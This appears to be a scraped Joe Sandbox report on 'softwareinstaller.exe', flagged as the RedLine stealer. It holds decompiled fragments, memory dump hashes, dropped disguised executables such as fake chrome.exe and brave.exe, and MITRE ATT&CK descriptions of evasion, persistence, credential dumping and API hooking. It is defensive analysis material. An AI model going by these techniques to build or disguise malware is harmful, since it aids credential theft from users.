				if (_t6 == 0) goto 0x55e994a8;
				if (_t6 == 0xffffffff) goto 0x55e99510;
				if ( *_t6 == 0xc0bab1fd) goto 0x55e99450;
				return 0x16;
			}

0x7ff755e9941a
0x7ff755e99420
0x7ff755e99426
0x7ff755e99430
0x7ff755e99441
0x7ff755e9944a

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF755E99457
LeaveCriticalSection.KERNEL32 ref: 00007FF755E9947E

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 0820afe1cf76078d584808b710687c4abc637131e2d4a4fc2351118ea3fed728
Instruction ID: 550d735cb83fed446f7f9a278bab5a7e80a570c7563c77d42afde47423962025
Opcode Fuzzy Hash: 0820afe1cf76078d584808b710687c4abc637131e2d4a4fc2351118ea3fed728
Instruction Fuzzy Hash: 433143B6A082028AEB55DF35D944269B3A0FB44F6CF9C8235CD198E798DF38D485C770

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF755E99120 Relevance: 5.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,00007FF755E99749), ref: 00007FF755E99146
LeaveCriticalSection.KERNEL32(?,00007FF755E99749,?,?,?,?,?,?,?,?,?,?,?,00007FF756141400,?), ref: 00007FF755E9916B
EnterCriticalSection.KERNEL32(?,00007FF755E99749,?,?,?,?,?,?,?,?,?,?,?,00007FF756141400,?), ref: 00007FF755E9919C
LeaveCriticalSection.KERNEL32(?,00007FF755E99749,?,?,?,?,?,?,?,?,?,?,?,00007FF756141400,?), ref: 00007FF755E991A6

Memory Dump Source

Source File: 0000000D.00000002.440625848.00007FF755E81000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF755E80000, based on PE: true

Associated: 0000000D.00000002.440557401.00007FF755E80000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441781419.00007FF755EB3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.441931780.00007FF755EB5000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453311818.00007FF756131000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453469502.00007FF756133000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453659077.00007FF756139000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.453952720.00007FF756141000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454010238.00007FF756143000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454116638.00007FF756146000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.454164366.00007FF756147000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ff755e80000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1d3946a3044cc18cb778b92247febb096362daa03944763a571c42cbc9225e9a
Instruction ID: 550176529285705464330cf64455988593531f58ca9c37688b63806effd13e00
Opcode Fuzzy Hash: 1d3946a3044cc18cb778b92247febb096362daa03944763a571c42cbc9225e9a
Instruction Fuzzy Hash: 7E01F726B0975559EA25E723BD04A7B9660BF84FEDFCA1031DD0D0B350CD3DD4828360

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report softwareinstaller.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Operating System Destruction

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

C:\Users\user\AppData\Local\Google\brave.exe

C:\Users\user\AppData\Local\Google\chrome.exe

C:\Users\user\AppData\Local\Google\ofg.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conchsvt.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\conchsvt.exe

C:\Users\user\AppData\Local\Temp\66BC.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_02nzq3qi.jjn.psm1

Windows Analysis Report
softwareinstaller.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre